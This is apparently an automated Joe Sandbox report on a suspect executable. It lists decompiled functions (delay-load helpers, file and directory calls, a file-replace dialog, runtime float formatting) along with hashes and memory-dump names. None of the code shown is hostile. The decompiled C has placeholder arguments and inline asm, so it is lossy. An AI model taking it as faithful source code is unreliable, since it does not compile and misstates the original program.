Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 6c06d7a623482c078927aa7ec8b11ce28c0155a654f592ecc74bfe577891ddb3
Instruction ID: 1569d1e826486aba6eddc43c8e4123f672e26fbdff0da42c5ddba435405c3f5a
Opcode Fuzzy Hash: 6c06d7a623482c078927aa7ec8b11ce28c0155a654f592ecc74bfe577891ddb3
Instruction Fuzzy Hash: 75A012C11990067C340821416C02C37011CE4C0B59370CA1DB405C0284584469043033

Uniqueness

Uniqueness Score: -1.00%

Function 00873420 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 008733D6

Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 64f34c03f9283da9ee0d3b967cab6b7ab1aeaad40431ee3bcc27dfe64dfc0ef8
Instruction ID: 1569d1e826486aba6eddc43c8e4123f672e26fbdff0da42c5ddba435405c3f5a
Opcode Fuzzy Hash: 64f34c03f9283da9ee0d3b967cab6b7ab1aeaad40431ee3bcc27dfe64dfc0ef8
Instruction Fuzzy Hash: 75A012C11990067C340821416C02C37011CE4C0B59370CA1DB405C0284584469043033

Uniqueness

Uniqueness Score: -1.00%

Function 008734D3 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 008734DB

Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 667b69ed984c3fb445f682fc4a221128a816de93cbf1e302688e6da9f3a389e5
Instruction ID: c607a35b09fc17dc7d9dfb25a5830ac1c271850c45d8290284b5073b06af385f
Opcode Fuzzy Hash: 667b69ed984c3fb445f682fc4a221128a816de93cbf1e302688e6da9f3a389e5
Instruction Fuzzy Hash: D2A002DA2EA1467C351C72D5AD47C3F026CE8C0F653B4C62EF824C4286A9946D491433

Uniqueness

Uniqueness Score: -1.00%

Function 00862409 Relevance: 1.5, APIs: 1, Instructions: 7fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNELBASE(?,008697AB), ref: 0086240C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: d24cf5886e62a1f82b2bee430a7be4f3c8e9543fa9b672cf95102eed35a079db
Instruction ID: ebbb3bee06d05d06d52597c5823ac8843e8f83f4dc57cbc782105182cc64f503
Opcode Fuzzy Hash: d24cf5886e62a1f82b2bee430a7be4f3c8e9543fa9b672cf95102eed35a079db
Instruction Fuzzy Hash: D8A0113088080A8A8E022B30CA080083B22FB20BC032002A8A00ACA0A2CB22880B8B00

Uniqueness

Uniqueness Score: -1.00%

Function 0086FE24 Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0086FE24(WCHAR* _a4) {
				signed int _t4;

				_t4 = SetCurrentDirectoryW(_a4); // executed
				return _t4 & 0xffffff00 | _t4 != 0x00000000;
			}

0x0086fe28
0x0086fe33

APIs

SetCurrentDirectoryW.KERNELBASE(?,0086FFD0,C:\Users\user\Pictures\Minor Policy,00000000,008AFA3A,00000006), ref: 0086FE28

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 2bcc7ced91bdc90ae538b02266c1e07665284a8050ed4315f0f54b0b7d5c7058
Instruction ID: 2b6dfaf039be57205fc99c216ca55f1a0e07cfd0d8a244bad5c4347954986009
Opcode Fuzzy Hash: 2bcc7ced91bdc90ae538b02266c1e07665284a8050ed4315f0f54b0b7d5c7058
Instruction Fuzzy Hash: B9A01130200A00CB82000B208F0AA0FBAAAAFA0A00B00C02AA20A88030CB308820AA00

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00871260 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 286
timewindowfileCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E00871260(void* __ecx, void* __edx, void* __eflags, char _a4, short _a8, char _a12, short _a108, short _a112, char _a192, char _a212, struct _WIN32_FIND_DATAW _a288, signed char _a304, signed char _a308, struct _FILETIME _a332, intOrPtr _a340, intOrPtr _a344, short _a884, short _a896, short _a900, int _a1904, char _a1924, int _a1928, short _a2596, short _a2616, char _a2628, char _a2640, struct HWND__* _a6740, intOrPtr _a6744, signed short _a6748, intOrPtr _a6752) {
				struct _FILETIME _v0;
				struct _SYSTEMTIME _v12;
				struct _SYSTEMTIME _v16;
				struct _FILETIME _v24;
				void* _t74;
				void* _t137;
				long _t138;
				void* _t142;
				void* _t143;
				void* _t144;
				void* _t145;
				void* _t146;
				signed short _t148;
				void* _t149;
				void* _t150;
				intOrPtr _t152;
				signed int _t153;
				signed int _t157;
				struct HWND__* _t158;
				intOrPtr _t159;
				void* _t160;
				int _t162;
				int _t165;
				void* _t168;
				void* _t170;

				_t156 = __edx;
				E00873AC0(0x1a50);
				_t148 = _a6748;
				_t159 = _a6744;
				_t158 = _a6740;
				if(E008611E6(__edx, _t158, _t159, _t148, _a6752, L"REPLACEFILEDLG", 0, 0) == 0) {
					_t160 = _t159 - 0x110;
					if(_t160 == 0) {
						SetFocus(GetDlgItem(_t158, 0x6c));
						E008668CD( &_a2640, _a6752, 0x800);
						E00863967( &_a2628,  &_a2628, 0x800);
						SetDlgItemTextW(_t158, 0x65,  &_a2616);
						 *0x8c9048( &_a2616, 0,  &_a1924, 0x2b4, 0x100);
						SendDlgItemMessageW(_t158, 0x66, 0x170, _a1904, 0);
						_t149 = FindFirstFileW( &_a2596,  &_a288);
						if(_t149 != 0xffffffff) {
							FileTimeToLocalFileTime( &_a332,  &(_v24.dwHighDateTime));
							FileTimeToSystemTime( &(_v24.dwHighDateTime),  &_v12);
							_push(0x32);
							_push( &_a12);
							_push(0);
							_push( &_v12);
							_t162 = 2;
							GetTimeFormatW(0x400, 0x800, ??, ??, ??, ??);
							GetDateFormatW(0x400, 0,  &_v12, 0,  &_a112, 0x32);
							_push( &_a12);
							_push( &_a112);
							E008639A9( &_a900, 0x200, L"%s %s %s", E00864C77(0x99));
							_t170 = _t168 + 0x18;
							SetDlgItemTextW(_t158, 0x6a,  &_a900);
							FindClose(_t149);
							if((_a308 & 0x00000010) != 0) {
								_t150 = 0x200;
							} else {
								asm("adc eax, ebp");
								E0087006D(0 + _a344, _a340,  &_a212, 0x32);
								_push(E00864C77(0x98));
								_t150 = 0x200;
								E008639A9( &_a884, 0x200, L"%s %s",  &_a192);
								_t170 = _t170 + 0x14;
								SetDlgItemTextW(_t158, 0x68,  &_a884);
							}
							SendDlgItemMessageW(_t158, 0x67, 0x170, _a1928, 0);
							_t152 =  *0x8aea34; // 0x0
							E00867172(_t152, _t156,  &_a4);
							FileTimeToLocalFileTime( &_v0,  &_v24);
							FileTimeToSystemTime( &_v24,  &_v16);
							GetTimeFormatW(0x400, _t162,  &_v16, 0,  &_a8, 0x32);
							GetDateFormatW(0x400, 0,  &_v16, 0,  &_a108, 0x32);
							_push( &_a8);
							_push( &_a108);
							E008639A9( &_a896, _t150, L"%s %s %s", E00864C77(0x99));
							_t168 = _t170 + 0x18;
							SetDlgItemTextW(_t158, 0x6b,  &_a896);
							_t153 =  *0x8c52d4; // 0x0
							_t157 =  *0x8c52d0; // 0x0
							if((_a304 & 0x00000010) == 0 || (_t157 | _t153) != 0) {
								E0087006D(_t157, _t153,  &_a212, 0x32);
								_push(E00864C77(0x98));
								E008639A9( &_a884, _t150, L"%s %s",  &_a192);
								_t168 = _t168 + 0x14;
								SetDlgItemTextW(_t158, 0x69,  &_a884);
							}
						}
						L27:
						_t74 = 0;
						L28:
						return _t74;
					}
					if(_t160 != 1) {
						goto L27;
					}
					_t165 = 2;
					_t137 = (_t148 & 0x0000ffff) - _t165;
					if(_t137 == 0) {
						L11:
						_push(6);
						L12:
						_pop(_t165);
						L13:
						_t138 = SendDlgItemMessageW(_t158, 0x66, 0x171, 0, 0);
						if(_t138 != 0) {
							 *0x8c90bc(_t138);
						}
						EndDialog(_t158, _t165);
						goto L1;
					}
					_t142 = _t137 - 0x6a;
					if(_t142 == 0) {
						_t165 = 0;
						goto L13;
					}
					_t143 = _t142 - 1;
					if(_t143 == 0) {
						_t165 = 1;
						goto L13;
					}
					_t144 = _t143 - 1;
					if(_t144 == 0) {
						_push(4);
						goto L12;
					}
					_t145 = _t144 - 1;
					if(_t145 == 0) {
						goto L13;
					}
					_t146 = _t145 - 1;
					if(_t146 == 0) {
						_push(3);
						goto L12;
					}
					if(_t146 != 1) {
						goto L27;
					}
					goto L11;
				}
				L1:
				_t74 = 1;
				goto L28;
			}

0x00871260
0x00871265
0x0087126b
0x00871274
0x0087127e
0x0087129d
0x008712a7
0x008712ad
0x00871327
0x00871342
0x00871351
0x00871361
0x00871382
0x00871398
0x008713b4
0x008713b9
0x008713cc
0x008713dc
0x008713e2
0x008713e8
0x008713e9
0x008713ee
0x008713f1
0x008713f8
0x00871414
0x0087141e
0x00871426
0x00871444
0x00871449
0x00871457
0x0087145e
0x0087146c
0x008714d2
0x0087146e
0x00871488
0x0087148c
0x0087149b
0x008714a3
0x008714b7
0x008714bc
0x008714ca
0x008714ca
0x008714e7
0x008714ed
0x008714f8
0x00871507
0x00871517
0x00871531
0x00871549
0x00871553
0x0087155b
0x00871575
0x0087157a
0x00871588
0x00871596
0x0087159c
0x008715a2
0x008715b6
0x008715c5
0x008715dc
0x008715e1
0x008715ef
0x008715ef
0x008715a2
0x008715f5
0x008715f5
0x008715fb
0x00871601
0x00871601
0x008712b2
0x00000000
0x00000000
0x008712bd
0x008712be
0x008712c0
0x008712e4
0x008712e4
0x008712e6
0x008712e6
0x008712e7
0x008712f1
0x008712f9
0x008712fc
0x008712fc
0x00871304
0x00000000
0x00871304
0x008712c2
0x008712c5
0x00871319
0x00000000
0x00871319
0x008712c7
0x008712ca
0x00871316
0x00000000
0x00871316
0x008712cc
0x008712cf
0x00871310
0x00000000
0x00871310
0x008712d1
0x008712d4
0x00000000
0x00000000
0x008712d6
0x008712d9
0x0087130c
0x00000000
0x0087130c
0x008712de
0x00000000
0x00000000
0x00000000
0x008712de
0x0087129f
0x008712a1
0x00000000

APIs

Part of subcall function 008611E6: GetDlgItem.USER32(00000000,00003021), ref: 0086122A
Part of subcall function 008611E6: SetWindowTextW.USER32(00000000,00888574), ref: 00861240

SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 008712F1
EndDialog.USER32(?,00000006), ref: 00871304
GetDlgItem.USER32(?,0000006C), ref: 00871320
SetFocus.USER32(00000000), ref: 00871327
SetDlgItemTextW.USER32(?,00000065,?), ref: 00871361
SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 00871398
FindFirstFileW.KERNEL32(?,?), ref: 008713AE
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 008713CC
FileTimeToSystemTime.KERNEL32(?,?), ref: 008713DC
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 008713F8
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00871414
_swprintf.LIBCMT ref: 00871444

Part of subcall function 008639A9: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 008639BC

SetDlgItemTextW.USER32(?,0000006A,?), ref: 00871457
FindClose.KERNEL32(00000000), ref: 0087145E
_swprintf.LIBCMT ref: 008714B7
SetDlgItemTextW.USER32(?,00000068,?), ref: 008714CA
SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 008714E7
FileTimeToLocalFileTime.KERNEL32(?,?,?), ref: 00871507
FileTimeToSystemTime.KERNEL32(?,?), ref: 00871517
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 00871531
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00871549
_swprintf.LIBCMT ref: 00871575
SetDlgItemTextW.USER32(?,0000006B,?), ref: 00871588
_swprintf.LIBCMT ref: 008715DC
SetDlgItemTextW.USER32(?,00000069,?), ref: 008715EF

Part of subcall function 0087006D: GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 00870093
Part of subcall function 0087006D: GetNumberFormatW.KERNEL32 ref: 008700E2

Strings

%s %s %s, xrefs: 00871432, 00871567
%s %s, xrefs: 008714A9, 008715CE
REPLACEFILEDLG, xrefs: 00871287

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: ItemTime$File$Text$Format$_swprintf$MessageSend$DateFindLocalSystem$CloseDialogFirstFocusInfoLocaleNumberWindow__vswprintf_c_l
String ID: %s %s$%s %s %s$REPLACEFILEDLG
API String ID: 797121971-1840816070
Opcode ID: 11f5350801f6fc717ffb4c19f206df74d8db9e2d6eea1fd930653784534994cd
Instruction ID: 534859c012646885dbe798ef04224b6254930239b0da4b222133c07c8056cd2c
Opcode Fuzzy Hash: 11f5350801f6fc717ffb4c19f206df74d8db9e2d6eea1fd930653784534994cd
Instruction Fuzzy Hash: AC917E72144348BBE621EBA8CC4DFEB77ACFB4A704F044819F689D2581DB75E6048B62

Uniqueness

Uniqueness Score: -1.00%

Function 0088226E Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 68%

			E0088226E(void* __ebx, signed int __edx, void* __edi, void* __esi, void* __eflags, signed int _a4, signed int _a8, intOrPtr _a12, intOrPtr* _a16, signed int _a20, intOrPtr _a24) {
				signed int _v8;
				signed int _v32;
				signed int _v36;
				char _v460;
				signed int _v464;
				void _v468;
				signed int _v472;
				signed int _v932;
				signed int _v936;
				signed int _v1392;
				signed int _v1396;
				signed int _v1400;
				char _v1860;
				signed int _v1864;
				signed int _v1865;
				signed int _v1872;
				signed int _v1876;
				signed int _v1880;
				signed int _v1884;
				signed int _v1888;
				signed int _v1892;
				signed int _v1896;
				intOrPtr _v1900;
				signed int _v1904;
				signed int _v1908;
				signed int _v1912;
				signed int _v1916;
				signed int _v1920;
				signed int _v1924;
				signed int _v1928;
				char _v1936;
				char _v1944;
				char _v2404;
				signed int _v2408;
				signed int _t743;
				signed int _t753;
				signed int _t754;
				intOrPtr _t763;
				signed int _t764;
				intOrPtr _t767;
				intOrPtr _t770;
				intOrPtr _t772;
				intOrPtr _t773;
				void* _t774;
				signed int _t777;
				signed int _t778;
				signed int _t784;
				void* _t789;
				signed int _t790;
				intOrPtr _t792;
				void* _t793;
				signed int _t794;
				signed int _t795;
				signed int _t796;
				signed int _t805;
				signed int _t810;
				signed int _t811;
				signed int _t812;
				signed int _t815;
				signed int _t816;
				signed int _t817;
				signed int _t819;
				signed int _t820;
				signed int _t825;
				signed int _t826;
				signed int _t832;
				signed int _t833;
				signed int _t836;
				signed int _t841;
				signed int _t849;
				signed int* _t852;
				signed int _t856;
				signed int _t867;
				signed int _t868;
				signed int _t870;
				char* _t871;
				signed int _t874;
				signed int _t878;
				signed int _t879;
				signed int _t884;
				signed int _t886;
				signed int _t891;
				signed int _t900;
				signed int _t903;
				signed int _t905;
				signed int _t908;
				signed int _t909;
				signed int _t910;
				signed int _t913;
				signed int _t926;
				signed int _t927;
				signed int _t929;
				char* _t930;
				signed int _t933;
				signed int _t937;
				signed int _t938;
				signed int* _t940;
				signed int _t943;
				signed int _t945;
				signed int _t950;
				signed int _t958;
				signed int _t961;
				signed int _t965;
				signed int* _t972;
				intOrPtr _t974;
				void* _t975;
				intOrPtr* _t977;
				signed int* _t981;
				unsigned int _t992;
				signed int _t993;
				void* _t996;
				signed int _t997;
				void* _t999;
				signed int _t1000;
				signed int _t1001;
				signed int _t1002;
				signed int _t1012;
				signed int _t1017;
				signed int _t1020;
				unsigned int _t1023;
				signed int _t1024;
				void* _t1027;
				signed int _t1028;
				void* _t1030;
				signed int _t1031;
				signed int _t1032;
				signed int _t1033;
				signed int _t1038;
				signed int* _t1043;
				signed int _t1045;
				signed int _t1055;
				void* _t1056;
				void _t1058;
				signed int _t1061;
				void* _t1064;
				void* _t1071;
				signed int _t1077;
				signed int _t1078;
				void* _t1080;
				signed int _t1081;
				signed int _t1082;
				signed int _t1084;
				signed int _t1085;
				signed int _t1086;
				signed int _t1090;
				signed int _t1094;
				signed int _t1095;
				signed int _t1096;
				signed int _t1098;
				signed int _t1099;
				signed int _t1100;
				signed int _t1101;
				signed int _t1102;
				signed int _t1103;
				signed int _t1105;
				signed int _t1106;
				signed int _t1107;
				signed int _t1108;
				signed int _t1109;
				signed int _t1110;
				unsigned int _t1111;
				void* _t1114;
				intOrPtr _t1116;
				signed int _t1117;
				signed int _t1118;
				signed int _t1119;
				signed int* _t1123;
				void* _t1127;
				void* _t1128;
				signed int _t1129;
				signed int _t1130;
				signed int _t1131;
				signed int _t1134;
				signed int _t1135;
				signed int _t1140;
				signed int _t1142;
				signed int _t1143;
				signed int _t1151;
				signed int _t1152;
				signed int _t1153;
				signed int _t1154;
				signed int _t1155;
				signed int _t1156;
				signed int _t1157;
				signed int _t1161;
				signed int _t1162;
				signed int _t1163;
				signed int _t1164;
				signed int _t1165;
				unsigned int _t1168;
				void* _t1172;
				void* _t1173;
				unsigned int _t1174;
				signed int _t1179;
				signed int _t1180;
				signed int _t1182;
				signed int _t1183;
				intOrPtr* _t1185;
				signed int _t1186;
				void* _t1187;
				signed int _t1188;
				signed int _t1189;
				signed int _t1192;
				signed int _t1194;
				signed int _t1195;
				void* _t1196;
				signed int _t1197;
				signed int _t1198;
				signed int _t1199;
				void* _t1202;
				signed int _t1203;
				signed int _t1204;
				signed int _t1205;
				signed int _t1206;
				signed int _t1207;
				signed int* _t1210;
				signed int _t1211;
				signed int _t1212;
				signed int _t1213;
				signed int _t1214;
				intOrPtr* _t1216;
				intOrPtr* _t1217;
				signed int _t1219;
				signed int _t1221;
				signed int _t1224;
				signed int _t1230;
				signed int _t1234;
				signed int _t1235;
				void* _t1236;
				signed int _t1240;
				signed int _t1243;
				signed int _t1244;
				signed int _t1245;
				signed int _t1246;
				signed int _t1247;
				signed int _t1248;
				signed int _t1250;
				signed int _t1251;
				signed int _t1252;
				signed int _t1253;
				signed int _t1255;
				signed int _t1256;
				signed int _t1257;
				signed int _t1258;
				signed int _t1259;
				signed int _t1261;
				signed int _t1262;
				signed int _t1264;
				signed int _t1266;
				signed int _t1268;
				signed int _t1271;
				signed int _t1273;
				signed int* _t1274;
				signed int* _t1277;
				signed int _t1286;

				_t1142 = __edx;
				_t1271 = _t1273;
				_t1274 = _t1273 - 0x964;
				_t743 =  *0x893688; // 0xe2d35318
				_v8 = _t743 ^ _t1271;
				_push(__ebx);
				_t1055 = _a20;
				_push(__esi);
				_push(__edi);
				_t1185 = _a16;
				_v1924 = _t1185;
				_v1920 = _t1055;
				E00881D96( &_v1944, __eflags);
				_t1234 = _a8;
				_t748 = 0x2d;
				if((_t1234 & 0x80000000) == 0) {
					_t748 = 0x120;
				}
				 *_t1185 = _t748;
				 *((intOrPtr*)(_t1185 + 8)) = _t1055;
				_t1186 = _a4;
				if((_t1234 & 0x7ff00000) != 0) {
					L5:
					_t753 = E0087E2B4( &_a4);
					_pop(_t1070);
					__eflags = _t753;
					if(_t753 != 0) {
						_t1070 = _v1924;
						 *((intOrPtr*)(_v1924 + 4)) = 1;
					}
					_t754 = _t753 - 1;
					__eflags = _t754;
					if(_t754 == 0) {
						_push("1#INF");
						goto L308;
					} else {
						_t777 = _t754 - 1;
						__eflags = _t777;
						if(_t777 == 0) {
							_push("1#QNAN");
							goto L308;
						} else {
							_t778 = _t777 - 1;
							__eflags = _t778;
							if(_t778 == 0) {
								_push("1#SNAN");
								goto L308;
							} else {
								__eflags = _t778 == 1;
								if(_t778 == 1) {
									_push("1#IND");
									goto L308;
								} else {
									_v1928 = _v1928 & 0x00000000;
									_a4 = _t1186;
									_a8 = _t1234 & 0x7fffffff;
									_t1286 = _a4;
									asm("fst qword [ebp-0x768]");
									_t1188 = _v1896;
									_v1916 = _a12 + 1;
									_t1077 = _t1188 >> 0x14;
									_t784 = _t1077 & 0x000007ff;
									__eflags = _t784;
									if(_t784 != 0) {
										_t1143 = 0;
										_t784 = 0;
										__eflags = 0;
									} else {
										_t1143 = 1;
									}
									_t1189 = _t1188 & 0x000fffff;
									_t1058 = _v1900 + _t784;
									asm("adc edi, esi");
									__eflags = _t1143;
									_t1078 = _t1077 & 0x000007ff;
									_t1240 = _t1078 - 0x434 + (0 | _t1143 != 0x00000000) + 1;
									_v1872 = _t1240;
									E00883DE0(_t1078, _t1286);
									_push(_t1078);
									 *_t1274 = _t1286;
									_t789 = E00883F00();
									_t1080 = _t1078;
									_t790 = L00886D70(_t789, _t1058, _t1080, _t1143);
									_v1904 = _t790;
									__eflags = _t790 - 0x7fffffff;
									if(_t790 == 0x7fffffff) {
										L16:
										__eflags = 0;
										_v1904 = 0;
									} else {
										__eflags = _t790 - 0x80000000;
										if(_t790 == 0x80000000) {
											goto L16;
										}
									}
									_v468 = _t1058;
									__eflags = _t1189;
									_v464 = _t1189;
									_t1061 = (0 | _t1189 != 0x00000000) + 1;
									_v472 = _t1061;
									__eflags = _t1240;
									if(_t1240 < 0) {
										__eflags = _t1240 - 0xfffffc02;
										if(_t1240 == 0xfffffc02) {
											L101:
											_t792 =  *((intOrPtr*)(_t1271 + _t1061 * 4 - 0x1d4));
											_t195 =  &_v1896;
											 *_t195 = _v1896 & 0x00000000;
											__eflags =  *_t195;
											asm("bsr eax, eax");
											if( *_t195 == 0) {
												_t1081 = 0;
												__eflags = 0;
											} else {
												_t1081 = _t792 + 1;
											}
											_t793 = 0x20;
											_t794 = _t793 - _t1081;
											__eflags = _t794 - 1;
											_t795 = _t794 & 0xffffff00 | _t794 - 0x00000001 > 0x00000000;
											__eflags = _t1061 - 0x73;
											_v1865 = _t795;
											_t1082 = _t1081 & 0xffffff00 | _t1061 - 0x00000073 > 0x00000000;
											__eflags = _t1061 - 0x73;
											if(_t1061 != 0x73) {
												L107:
												_t796 = 0;
												__eflags = 0;
											} else {
												__eflags = _t795;
												if(_t795 == 0) {
													goto L107;
												} else {
													_t796 = 1;
												}
											}
											__eflags = _t1082;
											if(_t1082 != 0) {
												L126:
												_v1400 = _v1400 & 0x00000000;
												_t224 =  &_v472;
												 *_t224 = _v472 & 0x00000000;
												__eflags =  *_t224;
												E00880761( &_v468, 0x1cc,  &_v1396, 0);
